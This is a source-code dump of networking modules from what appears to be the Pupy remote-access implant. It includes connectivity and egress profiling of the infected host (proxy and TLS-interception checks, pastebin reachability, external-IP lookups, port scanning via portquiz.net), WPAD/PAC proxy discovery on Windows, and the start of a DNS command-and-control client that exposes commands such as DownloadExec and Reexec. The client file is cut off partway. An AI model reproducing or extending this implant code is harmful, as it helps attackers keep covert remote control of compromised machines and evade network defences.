              'zbihKVcN6Fr30ek+8nYEbvFScLsePP9NDXRqzIGCJdPDoCpdTPW6i6FtxFQJdcfj'
              'Jw5dhHk3QBN39bSsHNA7qxcS1u80GH4r6XnTq1dFDK8o+tDb5VCViLvfhVdpfZLY'
              'Uspzgb8c8+a4bmYRBbMelC1/kZWSWfFMzqORcUx8Rww7Cxn2obFshj5cqsQugsv5'
              'B5a6SE2Q8pTIqXOi6wZ7I53eovNNVZ96YUWYGGjHXkBrI/V5eu+MtWuLt29G9Hvx'
              'PUsE2JOAWVrgQSQdso8VYFhH2+9uRv0V9dlfmrPb2LjkQLPNlzmuhbsdjrzch5vR'
              'pu/xO28QOG8='
    },
}

CAPTIVE_URLS = [
    'http://connectivitycheck.gstatic.com/generate_204',
    'http://clients3.google.com/generate_204',
]

KNOWN_DNS = {
    'quad9.net': '216.21.3.77',
    'dns.msftncsi.com': '131.107.255.255'
}


IP_KNOWN_TO_BE_DOWN='1.2.3.4'

OWN_IP = [
    'ifconfig.co',
    'ifconfig.me/ip',
    'eth0.me',
    'ipecho.net/plain',
    'icanhazip.com',
    'curlmyip.com',
    'l2.io/ip'
]

OWN_IP_BROKEN = set()

LAST_EXTERNAL_IP = None
LAST_EXTERNAL_IP_TIME = None


def check_transparent_proxy():
    logger.debug('Check for transparent proxy')

    try:
        s = socket.create_connection((IP_KNOWN_TO_BE_DOWN, 80), timeout=5)
        s.settimeout(5)
        s.send('GET / HTTP/3.0\r\n\r\n')
        data = s.recv(12)
        if data.startswith('HTTP'):
            return True

    except Exception as e:
        logger.debug('Check transparent proxy: %s', e)

    return False

def internal_ip(check='8.8.8.8'):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        s.connect((check, 123))
        ip = s.getsockname()[0]
        return netaddr.IPAddress(ip)

    except socket.error:
        pass

    finally:
        s.close()

def external_ip(force_ipv4=False):
    global LAST_EXTERNAL_IP, LAST_EXTERNAL_IP_TIME
    global STUN_HOST_BROKEN, OWN_IP_BROKEN, OPENDNS_BROKEN

    if LAST_EXTERNAL_IP_TIME is not None:
        if time.time() - LAST_EXTERNAL_IP_TIME < 3600:
            logger.debug('Return cached IP (last ts=%d): %s',
                LAST_EXTERNAL_IP_TIME, LAST_EXTERNAL_IP)
            return LAST_EXTERNAL_IP

    logger.debug('Retrieve IP using external services')

    if all(ip in OWN_IP_BROKEN for ip in OWN_IP):
        # Try once again
        OWN_IP_BROKEN.clear()
        STUN_HOST_BROKEN = False
        OPENDNS_BROKEN = False

    try:
        if not STUN_HOST_BROKEN:
            stun_ip = stun.get_ip(stun_host=STUN_HOST, stun_port=STUN_PORT)
            if stun_ip is not None:
                stun_ip = netaddr.IPAddress(stun_ip)

                LAST_EXTERNAL_IP = stun_ip
                LAST_EXTERNAL_IP_TIME = time.time()

                return LAST_EXTERNAL_IP

    except Exception as e:
        STUN_HOST_BROKEN = True
        logger.debug('external_ip: STUN failed: %s', e)

    ctx = tinyhttp.HTTP(timeout=5, headers={'User-Agent': 'curl/7.12.3'})

    for service in OWN_IP:
        if service in OWN_IP_BROKEN:
            continue

        for scheme in ['https', 'http']:
            try:
                data, code = ctx.get(scheme + '://' + service, code=True)
                if code == 200:
                    addr = netaddr.IPAddress(data.strip())
                    if force_ipv4 and addr.version == 6:
                        continue

                    LAST_EXTERNAL_IP = addr
                    LAST_EXTERNAL_IP_TIME = time.time()

                    return LAST_EXTERNAL_IP

            except Exception as e:
                logger.debug('Get IP service failed: %s: %s (%s)', service, e, type(e))
                OWN_IP_BROKEN.add(service)

    LAST_EXTERNAL_IP = dns_external_ip()
    if LAST_EXTERNAL_IP:
        LAST_EXTERNAL_IP_TIME = time.time()

    return LAST_EXTERNAL_IP

def dns_external_ip():
    global OPENDNS_BROKEN

    if OPENDNS_BROKEN:
        return None

    logger.debug('Retrieve IP using DNS')

    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)
    try:
        s.settimeout(5)
        s.sendto(OPENDNS_REQUEST, ('resolver1.opendns.com', 53))
        data = s.recv(256)
        if data.startswith(OPENDNS_RESPONSE):
            return netaddr.IPAddress(struct.unpack('>I', data[-4:])[0])

    except Exception as e:
        logger.debug('DNS External IP failed: %s', e)
        OPENDNS_BROKEN = True

    return None

def external_headers():
    logger.debug('Retrieve external headers')

    try:
        ctx = tinyhttp.HTTP(timeout=15, headers={'User-Agent': 'curl/7.12.3'})

        data = ctx.get('http://httpbin.org/headers')
        data = json.loads(data)
        return data['headers']

    except Exception as e:
        logger.debug('External headers failed: %s', e)

    return {}

def online():
    headers = {
        'User-Agent': 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0)'
    }
    ctx = tinyhttp.HTTP(timeout=5, headers=headers)

    try:
        data = ctx.get(CHECKS['msonline']['url'])
        if data == CHECKS['msonline']['text']:
            return True

    except Exception as e:
        logger.debug('MS Online check failed: %s', e)

    return False

def ntp_time_diff():
    client = ntplib.NTPClient()
    response = client.request(NTP_SERVER, version=3)
    return int(response.offset * 1000000)

def check():
    global ONLINE_STATUS_CHECKED
    global ONLINE_STATUS

    if ONLINE_STATUS_CHECKED is not None:
        if time.time() - ONLINE_STATUS_CHECKED < 3600:
            return ONLINE_STATUS

    logger.debug('Online check started')

    headers = {
        'User-Agent': 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0)'
    }
    ctx = tinyhttp.HTTP(proxy=True, noverify=False, timeout=15, headers=headers)
    ctx_nocert = tinyhttp.HTTP(proxy=True, timeout=15, noverify=True, headers=headers)
    ctx_noproxy = tinyhttp.HTTP(proxy=False, timeout=15, headers=headers)
    ctx_mitm = tinyhttp.HTTP(
        proxy=True, noverify=False, timeout=15,
        cadata=CHECKS['https']['ca'].decode('base64'), headers=headers)

    result = 0

    mintime = None
    offset = 0
    ok = 0

    now = time.time()

    for url in CAPTIVE_URLS:
        try:
            data, code = ctx.get(url, code=True)
            t = time.time()
            if mintime is None or mintime > t - now:
                mintime = t - now

            now = t

            if data == '' and code == 204:
                ok += 1

            if code == 302:
                result |= HOTSPOT

        except Exception as e:
            logger.debug('Captive check failed %s: %s', url, e)

    if ok == 2:
        result |= ONLINE_CAPTIVE

    try:
        data = ctx.get(CHECKS['msonline']['url'])
        t = time.time()
        if mintime is None or mintime > t - now:
            mintime = t - now

        now = t

        if data == CHECKS['msonline']['text']:
            result |= ONLINE_MS

    except Exception as e:
        logger.debug('MS Online check failed: %s', e)

    if result & ONLINE_CAPTIVE:
        for url in CAPTIVE_URLS:
            try:
                data, code = ctx_noproxy.get(url, code=True)
                if not (data == '' and code == 204) and ok:
                    result |= PROXY
                    break

            except Exception as e:
                result |= PROXY
                logger.debug('Captive check failed %s: %s', url, e)

    try:
        data = ctx.get(CHECKS['http']['url'])
        if CHECKS['http']['text'] in data:
            result |= HTTP

    except Exception as e:
        logger.debug('HTTP Check failed: %s', e)

    try:
        data = ctx.get(CHECKS['https']['url'])
        if CHECKS['https']['text'] in data:
            result |= HTTPS

    except Exception as e:
        logger.debug('HTTPS Check failed: %s', e)

    try:
        data = ctx_mitm.get(CHECKS['https']['url'])
        if result | HTTPS and CHECKS['https']['text'] not in data:
            result |= HTTPS_MITM

    except Exception as e:
        logger.debug('HTTPS Mitm Check failed: %s', e)
        result |= HTTPS_MITM

    try:
        data = ctx_nocert.get(CHECKS['https']['url'])
        if CHECKS['https']['text'] in data:
            result |= HTTPS_NOCERT
            result |= HTTPS

    except Exception as e:
        logger.debug('HTTPS NoCert Check failed: %s', e)

    for hostname, ip in KNOWN_DNS.items():
        try:
            if ip == socket.gethostbyname(hostname):
                result |= DNS

        except Exception as e:
            logger.debug('DNS Check failed: %s', e)

    for pastebin, bit in PASTEBINS.items():
        try:
            data, code = ctx_nocert.get(
                pastebin,
                code=True, headers={'User-Agent': 'curl'}
            )
            if code == 200:
                result |= bit

        except Exception as e:
            logger.debug('Pastebin Check failed %s: %s', pastebin, e)

    if check_transparent_proxy():
        result |= TRANSPARENT | PROXY
    else:
        headers = external_headers()
        for header in headers:
            if 'via' in header.lower():
                result |= PROXY
                break

    deip = dns_external_ip()
    if deip:
        result |= DIRECT_DNS

    try:
        nat, _, _ = stun.get_ip_info()
        for bit, descr in STUN_NAT_DESCRIPTION.items():
            if descr == nat:
                result |= bit
                break

    except Exception as e:
        logger.debug('STUN Checks failed: %s', e)
        result |= STUN_NAT_BLOCKED

    try:
        offset = ntp_time_diff()
        result |= NTP
        if offset > 32767:
            offset = 32767
        elif offset < -32768:
            offset = -32768

    except Exception as e:
        logger.debug('NTP Checks failed: %s', e)
        offset = 0

    if sys.platform != 'win32':
        # This may cause firewall window
        # TODO: Work around this with pressing enter using keyboard module
        try:
            igdc = igd.IGDClient()
            if igdc.available:
                result |= IGD

        except Exception as e:
            logger.debug('IGD Check failed: %s', e)

    if mintime is None:
        mintime = 0
    else:
        mintime = int(mintime * 1000)
        if mintime > 65535:
            mintime = 65535

    ONLINE_STATUS = (offset, mintime, result)
    ONLINE_STATUS_CHECKED = time.time()

    logger.debug('Online check completed')
    return ONLINE_STATUS

def bits_to_dict(data):
    return {
        'online': bool(data & ONLINE),
        'online-by': {
            'android': bool(data & ONLINE_CAPTIVE),
            'microsoft': bool(data & ONLINE_MS),
        },
        'igd': bool(data & IGD),
        'hotspot': bool(data & HOTSPOT),
        'dns': bool(data & DNS),
        'direct-dns': bool(data & DIRECT_DNS),
        'http': bool(data & HTTP),
        'https': bool(data & HTTPS),
        'https-no-cert': bool(data & HTTPS_NOCERT),
        'https-mitm': bool(data & HTTPS_MITM),
        'proxy': bool(data & PROXY),
        'transparent-proxy': bool(data & TRANSPARENT),
        'stun': [
            descr for value,descr in STUN_NAT_DESCRIPTION.items() if (
                (data & STUN_NAT_VALUE) == value
            )
        ][0],
        'ntp': bool(data & NTP),
        'pastebins': {
            pastebin:bool(data & bit) for pastebin,bit in PASTEBINS.items()
        }
    }

class PortQuiz(threading.Thread):

    PORTQUIZ_ADDR='5.196.70.86'
    PORTQUIZ_HOSTNAME='portquiz.net'
    PORTQUIZ_443_MESSAGE='Your browser sent a request that this server could not understand'
    PORTQUIZ_MESSAGE='test successful!'

    __slots__ = (
        'table', 'lock', 'abort', 'amount',
        'opener', 'http_timeout',
        'connect_timeout', 'available',
        'hostname', 'ip'
    )

    def __init__(self, amount=5, http_timeout=15, connect_timeout=10, portquiz=None):
        threading.Thread.__init__(self)
        self.daemon = True

        self.table = {}
        self.lock = threading.Lock()
        self.abort = threading.Event()
        self.amount = 8
        self.opener = OpenerDirector()
        self.opener.handlers = []
        self.opener.add_handler(tinyhttp.NullHandler(self.table, self.lock))
        self.opener.add_handler(HTTPHandler())
        self.http_timeout = http_timeout
        self.connect_timeout = connect_timeout
        self.available = list()

        if portquiz is not None:
            self.hostname = portquiz
            self.ip = socket.gethostbyname(portquiz)
        else:
            self.hostname = self.PORTQUIZ_HOSTNAME
            try:
                self.ip = socket.gethostbyname(self.PORTQUIZ_HOSTNAME)
            except socket.gaierror:
                self.ip = self.PORTQUIZ_ADDR

    def _on_open_port(self, info):
        host, port, sock = info

        logger.debug('Check: %s:%d', host, port)

        try:
            with self.lock:
                self.table['{}:{}'.format(host,port)] = sock
                sock.setblocking(1)
                sock.settimeout(self.http_timeout)


            url = Request(
                'http://{}:{}'.format(host, port),
                headers={
                    'Host': self.hostname,
                    'User-Agent': 'curl',
                })

            response = self.opener.open(url, timeout=self.http_timeout)
            data = response.read()
            if self.PORTQUIZ_MESSAGE in data \
              or (port == 443 and self.PORTQUIZ_443_MESSAGE in data):
                self.available.append(port)
                if len(self.available) >= self.amount:
                    self.abort.set()
            else:
                logger.debug('Invalid response, port %d: %s', port, repr(data))

        except Exception as e:
            logger.exception('port check: %s:%s: %s', host, port, e)

        finally:
            try:
                sock.close()
            except:
                pass

    def _run(self):
        most_important = [
            80, 443, 8080, 53, 5222, 25, 110, 465
        ]

        logger.debug('Scan most important. IP: %s', self.ip)

        scan.scan([self.ip], most_important, timeout=self.connect_timeout, abort=self.abort,
             on_open_port=self._on_open_port, pass_socket=True)

        logger.debug('Scan other ports')

        if len(self.available) < self.amount:
            other = list([
                x for x in scan.TOP1000 if x not in most_important
            ])

            random.shuffle(other)

            scan.scan(
                [self.ip], other, timeout=self.connect_timeout, abort=self.abort,
                on_open_port=self._on_open_port, pass_socket=True)

        logger.debug('Done. Found %d ports', len(self.available))

    def run(self):
        try:
            logger.debug('PortQuiz: started')
            self._run()
            logger.debug('PortQuiz: completed (available %d ports)', len(self.available))

        except Exception as e:
            logger.exception('PortQuiz: %s', e)


================================================
FILE: pupy/network/lib/pac.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals

__all__ = (
    'get_proxy_for_address', 'set_proxy_unavailable',
    'refresh_pac_player'
)

from sys import getfilesystemencoding, version_info
from dukpy import JSInterpreter, JSRuntimeError

if version_info.major > 2:
    from urllib.parse import urlparse
    from urllib.error import URLError

    basestring = str
    xrange = range
else:
    from urlparse import urlparse
    from urllib2 import URLError

from socket import gethostbyname, gaierror, getfqdn
from netaddr import IPAddress, IPNetwork, AddrFormatError
from inspect import getmembers, ismethod

from io import open
from os import name as os_name
from time import time
from re import match
from threading import Lock

try:
    from pupyimporter import dprint
except ImportError:
    def dprint(x):
        pass

if os_name == 'nt':
    from ctypes import WinDLL, byref, POINTER, c_void_p, cast
    from ctypes.wintypes import LPWSTR, BOOL, DWORD

    try:
        winhttp = WinDLL('winhttp.dll', use_last_error=True)
        kernel32 = WinDLL('kernel32.dll', use_last_error=True)

        WinHttpDetectAutoProxyConfigUrl = winhttp.WinHttpDetectAutoProxyConfigUrl
        WinHttpDetectAutoProxyConfigUrl.restype = BOOL
        WinHttpDetectAutoProxyConfigUrl.argtypes = (
            DWORD, POINTER(c_void_p)
        )

        GlobalFree = kernel32.GlobalFree
        GlobalFree.argtypes = (c_void_p,)
    except:
        WinHttpDetectAutoProxyConfigUrl = None


from . import Proxy
from . import getLogger


def _init_process_omit(self):
    pass


# We don't need to have environment in JSInterpreter
JSInterpreter._init_process = _init_process_omit


logger = getLogger('pac')

PAC_PLAYER = None
PAC_PLAYER_LAST_UPDATED = None

# It turns out that dukpy is not thread-safe
# https://github.com/amol-/dukpy/issues/18

PAC_PLAYER_LOCK = Lock()

WPAD_REFRESH_TIMEOUT = 3600


def get_autoconfig_url_nt():
    try:
        from _winreg import OpenKey, QueryValueEx, HKEY_CURRENT_USER
    except ImportError:
        return

    try:
        with OpenKey(
            HKEY_CURRENT_USER,
            'Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings') as key:
            value, _ = QueryValueEx(key, 'AutoConfigURL')
            return value
    except WindowsError:
        return None


def detect_autoconfig_url_nt():
    if not WinHttpDetectAutoProxyConfigUrl:
        return None

    url = c_void_p()
    if WinHttpDetectAutoProxyConfigUrl(3, byref(url)):
        if url.value:
            result = cast(url, LPWSTR).value.encode('idna')
            GlobalFree(url.value)
            return result


def propose_pac_domains():
    local_domain = getfqdn()
    if not local_domain:
        return

    if local_domain == 'localhost' or '.' not in local_domain:
        return

    parts = local_domain.split('.')
    for i in xrange(len(parts)-1):
        yield '.'.join(parts[i:])


def propose_pac_location():
    # TODO: Parse from google chrome/firefox settings
    if os_name == 'nt':
        for func in (get_autoconfig_url_nt, detect_autoconfig_url_nt):
            try:
                res = func()
                if res:
                    yield res

            except Exception as e:
                logger.exception(e)

    yield 'http://wpad/wpad.dat'

    for domain in propose_pac_domains():
        yield 'http://wpad.{}/wpad.dat'.format(domain)


def get_pac_content():
    from .tinyhttp import HTTP

    for url in propose_pac_location():
        try:
            parsed = urlparse(url)
            if parsed.scheme == 'file':
                return open(url.path).read(), url.path

            http = HTTP(proxy=False, follow_redirects=True, noverify=True)
            content, code = http.get(url, code=True)
            if code != 200:
                logger.debug('WPAD: %s: invalid HTTP status %d', url, code)
                continue

            if b'FindProxyForURL' not in content:
                logger.debug('WPAD: %s: invalid content')
                continue

            return content, url

        except URLError:
            # Connection failed
            pass

        except Exception as e:
            logger.exception('url: %s: %s', url, e)


def _refresh_pac_player():
    global PAC_PLAYER_LAST_UPDATED

    # Update anyway
    PAC_PLAYER_LAST_UPDATED = time()

    content = get_pac_content()
    if not content:
        return False

    script, source = get_pac_content()

    try:
        return PACPlayer(script, source)
    except JSRuntimeError as e:
        logger.exception('JS: %s', e)
    except UnicodeError as e:
        logger.exception(
            'JS/Unicode: script=%s (%s) source=%s (%s): %s',
            repr(script), type(script),
            repr(source), type(source),
            e
        )

    return False


def refresh_pac_player():
    with PAC_PLAYER_LOCK:
        return _refresh_pac_player()


def _get_proxy_for_address(address):
    global PAC_PLAYER

    if PAC_PLAYER is None or (
            time() - PAC_PLAYER_LAST_UPDATED > WPAD_REFRESH_TIMEOUT):

        PAC_PLAYER = _refresh_pac_player()

    if not PAC_PLAYER:
        return []

    return list(PAC_PLAYER[address])


def get_proxy_for_address(address):
    with PAC_PLAYER_LOCK:
        return _get_proxy_for_address(address)


def _set_proxy_unavailable(proto, addr):
    global PAC_PLAYER

    if not PAC_PLAYER:
        return

    PAC_PLAYER.unavailable.add(
        frozenset((proto, addr)))


def set_proxy_unavailable(proto, addr):
    with PAC_PLAYER_LOCK:
        _set_proxy_unavailable(proto, addr)


class PACPlayer(object):
    __slots__ = (
        'internal_ip', 'js', 'unavailable', 'source',
        '_lock'
    )

    def __init__(self, script, source):
        from .online import internal_ip

        if isinstance(script, bytes):
            try:
                script = script.decode(
                    getfilesystemencoding()
                )
            except UnicodeError:
                script = script.decode('ascii', 'ignore')

        if isinstance(source, bytes):
            try:
                source = source.decode(
                    getfilesystemencoding()
                )
            except UnicodeError:
                source = source.decode('ascii', 'ignore')

        self._lock = Lock()
        self.js = JSInterpreter()
        self.unavailable = set()
        self.source = source
        self.internal_ip = internal_ip()
        self._export_functions()
        self.js.evaljs(script)

    def __getitem__(self, address):
        url = None
        host = None

        if '://' in address:
            url = address
            host = urlparse(address).hostname
        else:
            host = address
            url = 'tcp://' + address + '/'

        try:
            with self._lock:
                proxies = self.js.evaljs(
                    'FindProxyForURL(dukpy["url"], dukpy["host"])',
                    url=url, host=host
                )
        except JSRuntimeError as e:
            logger.error('JS: %s', e)
            return

        if not proxies:
            return

        for proxy in (x.strip() for x in proxies.split(';')):
            if not proxy:
                continue

            elif proxy == 'DIRECT':
                yield Proxy('DIRECT', None, None, None)
                continue

            try:
                proto, addr = proxy.split()
            except ValueError:
                logger.info('Invalid proxy spec: %s', proxy)
                continue

            if proto == 'PROXY':
                proto = 'HTTP'
            elif proto == 'SOCKS':
                proto == 'SOCKS5'

            if frozenset((proto, addr)) not in self.unavailable:
                yield Proxy(proto, addr, None, None)

    def _export_functions(self):
        for method, impl in getmembers(self):
            if method.startswith('_') or not ismethod(impl):
                continue

            self.js.export_function(method, impl)
            self.js.evaljs(''';
                 {method} = function() {{
                 var args = Array.prototype.slice.call(arguments);
                 args.unshift('{method}');
                 return call_python.apply(null, args);
                 }};'''.format(method=method))

    def getHost(self, uri):
        if not uri:
            return None
        elif '://' in uri:
            return urlparse(uri).hostname
        elif '/' in uri:
            return uri.split('/', 1)[0].split(':')[0]
        else:
            return uri.split(':')[0]

    def dnsDomainIs(self, host, value):
        return self.getHost(host) == value

    def shExpMatch(self, host, wildcard):
        regexp = wildcard.replace('.','\\.').replace('*', '.*')
        try:
            return bool(match(regexp, host))
        except Exception as e:
            print(e)

        return False

    def dnsResolve(self, host):
        if not host:
            return None

        host = self.getHost(host)

        try:
            return str(IPAddress(host))
        except AddrFormatError:
            pass

        try:
            return gethostbyname(host)
        except gaierror:
            return None

    def isInNet(self, host, network, mask):
        host = self.getHost(host)
        ip = self.dnsResolve(host)
        if not ip:
            return False

        return ip in IPNetwork(
            '{}/{}'.format(network, mask))

    def myIpAddress(self):
        if self.internal_ip:
            return str(self.internal_ip)

    def isResolvable(self, host):
        try:
            gethostbyname(host)
        except gaierror:
            return False

        return True

    def dnsDomainLevels(self, host):
        return host.count('.')

    def isPlainHostName(self, host):
        return '.' not in self.getHost(host)

    def localHostOrDomainIs(self, host, value):
        return value.lower().startswith(host.lower())

    def alert(self, *args):
        dprint(
            ' '.join(
                x if isinstance(x, basestring) else str(x) for x in args
            )
        )


================================================
FILE: pupy/network/lib/picocmd/__init__.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
__all__ = (
    'Command',
    'Poll', 'Ack', 'Idle',
    'SystemStatus',
    'Sleep', 'CheckConnect',
    'Reexec', 'Exit', 'Disconnect',
    'Policy', 'Kex', 'SystemInfo',
    'SetProxy', 'Connect', 'DownloadExec',
    'PasteLink', 'OnlineStatus', 'PortQuizPort',
    'OnlineStatusRequest', 'PupyState',
    'ConnectablePort', 'Error', 'ParcelInvalidCrc',
    'ParcelInvalidPayload', 'ParcelInvalidCommand',
    'Parcel', 'PackError',

    'from_bytes', 'to_bytes',

    'DnsCommandsClient'
)


from .picocmd import (
    Command,
    Poll, Ack, Idle,
    SystemStatus,
    Sleep, CheckConnect,
    Reexec, Exit, Disconnect,
    Policy, Kex, SystemInfo,
    SetProxy, Connect, DownloadExec,
    PasteLink, OnlineStatus, PortQuizPort,
    OnlineStatusRequest, PupyState,
    ConnectablePort, Error, ParcelInvalidCrc,
    ParcelInvalidPayload, ParcelInvalidCommand,
    Parcel, PackError,

    from_bytes, to_bytes
)

from .client import DnsCommandsClient


================================================
FILE: pupy/network/lib/picocmd/ascii85.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals


def ascii85EncodeDG(indata):
    "Encode a string according to ASCII-Base-85."

    result = ''
    fetched = 0

    while True:
        buf = [
            ord(x)+0 for x in indata[fetched:fetched+4]
        ]

        fetched = fetched + len(buf)

        if not buf:
            break

        while fetched % 4:
            buf.append(0)
            fetched = fetched + 1

        num = (buf[0] << 24) + (buf[1] << 16) + (buf[2] << 8) + buf[3]
        if num == 0:
            return 'z'

        res = [0] * 5
        for i in (4, 3, 2, 1, 0):
            res[i] = ord('!') + num % 85
            num = num // 85

        res = res[:len(indata)+1]
        result = result + ''.join(map(chr, res))

    return result + "~>"


def ascii85DecodeDG(indata):
    "Decode a string encoded with ASCII-Base-85."

    msg = 'Invalid terminator for Ascii Base 85 Stream'
    assert indata[-2:] == '~>', msg
    indata = indata[:-2]

    # may have 'z' in it which complicates matters - expand them
    if 'z' in indata:
        indata = indata.replace('z', '!!!!!')

    result = ''
    fetched = 0

    while True:
        buf = [
            ord(x)+0-33 for x in indata[fetched:fetched+5]
        ]

        fetched = fetched + len(buf)

        if not buf:
            break

        while fetched % 5:
            buf.append(0)
            fetched = fetched + 1

        c1, c2, c3, c4, c5 = buf
        num = ((85**4) * c1) + ((85**3) * c2) + ((85**2) * c3) + (85*c4) + c5

        temp, b4 = divmod(num, 256)
        temp, b3 = divmod(temp, 256)
        b1, b2 = divmod(temp, 256)

        assert num == 16777216 * b1 + 65536 * b2 + 256 * b3 + b4, 'dodgy code!'
        # This modulo operation (256) is maybe a hack! DCG
        res = b1 % 256, b2, b3, b4
        result = result + ''.join(map(chr, res))

    return result


================================================
FILE: pupy/network/lib/picocmd/baseconv.py
================================================
# -*- coding: utf-8 -*-

# Copyright (c) 2010, 2011, 2012, 2015 Guilherme Gondim. All rights reserved.
# Copyright (c) 2009 Simon Willison. All rights reserved.
# Copyright (c) 2002 Drew Perttula. All rights reserved.
#
# License:
#   Python Software Foundation License version 2
#
# See the file "LICENSE" for terms & conditions for usage, and a DISCLAIMER OF
# ALL WARRANTIES.
#
# This Baseconv distribution contains no GNU General Public Licensed (GPLed)
# code so it may be used in proprietary projects just like prior ``baseconv``
# distributions.
#
# All trademarks referenced herein are property of their respective holders.
#

"""
Convert numbers from base 10 integers to base X strings and back again.

Sample usage::

  >>> base20 = BaseConverter('0123456789abcdefghij')
  >>> base20.encode(1234)
  '31e'
  >>> base20.decode('31e')
  '1234'
  >>> base20.encode(-1234)
  '-31e'
  >>> base20.decode('-31e')
  '-1234'
  >>> base11 = BaseConverter('0123456789-', sign='$')
  >>> base11.encode('$1234')
  '$-22'
  >>> base11.decode('$-22')
  '$1234'

"""

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals


BASE2_ALPHABET = '01'
BASE16_ALPHABET = '0123456789ABCDEF'
BASE36_ALPHABET = '0123456789abcdefghijklmnopqrstuvwxyz'
BASE56_ALPHABET = '23456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnpqrstuvwxyz'
BASE62_ALPHABET = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
BASE64_ALPHABET = BASE62_ALPHABET + '-_'


class BaseConverter(object):
    __slots__ = ('sign', 'digits')

    decimal_digits = '0123456789'

    def __init__(self, digits, sign='-'):
        self.sign = sign
        self.digits = digits
        if sign in self.digits:
            raise ValueError('Sign character found in converter base digits.')

    def __repr__(self):
        return "BaseConverter(%r, sign=%r)" % (self.digits, self.sign)

    def _convert(self, number, from_digits, to_digits):
        if str(number)[0] == self.sign:
            number = str(number)[1:]
            neg = True
        else:
            neg = False

        # make an integer out of the number
        x = 0
        for digit in str(number):
            x = x * len(from_digits) + from_digits.index(digit)

        # create the result in base 'len(to_digits)'
        if x == 0:
            res = to_digits[0]
        else:
            res = ''
            while x > 0:
                digit = x % len(to_digits)
                res = to_digits[digit] + res
                x = int(x // len(to_digits))
        return neg, res

    def encode(self, number):
        neg, value = self._convert(number, self.decimal_digits, self.digits)
        if neg:
            return self.sign + value
        return value

    def decode(self, number):
        neg, value = self._convert(number, self.digits, self.decimal_digits)
        if neg:
            return self.sign + value
        return value


base2 = BaseConverter(BASE2_ALPHABET)
base16 = BaseConverter(BASE16_ALPHABET)
base36 = BaseConverter(BASE36_ALPHABET)
base56 = BaseConverter(BASE56_ALPHABET)
base62 = BaseConverter(BASE62_ALPHABET)
base64 = BaseConverter(BASE64_ALPHABET, sign='$')


if __name__ == '__main__':
    # doctests
    import doctest
    doctest.testmod()

    # other tests
    nums = [-10 ** 10, 10 ** 10] + list(range(-100, 100))
    for converter in [base2, base16, base36, base56, base62, base64]:
        if converter.sign == '-':
            for i in nums:
                assert i == int(converter.decode(converter.encode(i))), '%s failed' % i
        else:
            for i in nums:
                i = str(i)
                if i[0] == '-':
                    i = converter.sign + i[1:]
                assert i == converter.decode(converter.encode(i)), '%s failed' % i


================================================
FILE: pupy/network/lib/picocmd/client.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = (
    'DnsCommandsClient',
)

import struct
import string
import socket
import base64
import hashlib
import os
import sys
import zlib
import logging
import time
import uuid
import netaddr

import pupy

from io import open
from threading import Thread, Lock

from . import ascii85

try:
    import dnslib
except ImportError:
    logging.info('dnslib not available')
    dnslib = None

from pupy.network.lib.transports.cryptoutils import ECPV, get_random

from .picocmd import (
    Poll, Ack,
    SystemStatus,
    Sleep, CheckConnect,
    Reexec, Exit, Disconnect,
    Policy, Kex,
    SetProxy, Connect, DownloadExec,
    PasteLink, CustomEvent,
    OnlineStatusRequest, PupyState,
    SystemInfoEx, ConnectEx, RegisterHostnameId,
    AddressTable,
    Error, ParcelInvalidCrc,
    ParcelInvalidPayload,
    PayloadTooBig,
    Parcel,
    from_bytes, to_bytes
)

CLIENT_VERSION = 2

from pupy.network.lib import tinyhttp
from pupy.network.lib import online
from pupy.network.lib import doh as securedns
from pupy.network.lib import Proxy


class DnsCommandsClient(Thread):
    def __init__(
            self, domain, key, doh=False, ns=None, qtype=None,
            ns_proto=socket.SOCK_DGRAM, ns_timeout=3):

        self.doh = doh
        self.iid = os.getpid() & 0xFFFF
        self.qtype = qtype
        self._default_qtype = qtype

        if (ns or self.doh or self.qtype not in (None, 'A', 'AAAA')) and (dnslib or self.doh):
            if not ns and not self.doh:
                raise ValueError('NS must be specified')

            if not self.doh and not type(ns) in (list, tuple):
                ns = ns.split(':')
                if len(ns) == 1:
                    ns = (ns[0], 53)
                elif len(ns) == 2:
                    ns = ns[0], int(ns[1])
                else:
                    raise ValueError('Invalid NS address: {}'.format(ns))

            self.ns = ns
            self.ns_proto = ns_proto
            self.ns_socket = None
            self.ns_timeout = ns_timeout
            self.ns_socket_lock = Lock()

            if self.doh:
                logging.info('Using DoH')

                if not ns:
                    for known_hostname, known_ip in online.KNOWN_DNS.items():
                        ns = securedns.SecureDNS.available(
                            known_hostname, False, known_ip
                        )

                        if ns:
                            self.ns = ns
                            break

                    if self.ns is None:
                        # Maybe DNS->IP has changed. Something is better than nothing
                        for known_hostname in online.KNOWN_DNS:
                            ns = securedns.SecureDNS.available(known_hostname, False)
                            if ns:
                                self.ns = ns
                                break

                    if self.ns is None:
                        raise ValueError('All known DoH servers are not working')
                else:
                    self.ns = securedns.SecureDNS(self.ns)

                logging.info('DoH server: %s', self.ns.url)

                self.resolve = self._doh_resolve
            else:
                self.resolve = self._dnslib_resolve
        else:
            if ns:
                logging.error('dnslib not available, use system resolver')

            self.ns = None
            self.ns_socket = None
            self.ns_timeout = None
            self.resolve = self._native_resolve

        self.node = uuid.getnode()
        self.nonce = from_bytes(get_random(4))
        self.domains = domain.split(',')
        self.domain_id = 0
        self.domain = self.domains[self.domain_id]
        self.translation = dict(zip(
            ''.join([
                string.ascii_uppercase,
                string.digits,
                '='
            ]).encode('ascii'),
            ''.join([
                string.ascii_lowercase,
                '-',
                string.digits
            ]).encode('ascii')
        ))

        self.encoder = ECPV(public_key=key, curve='brainpoolP224r1')
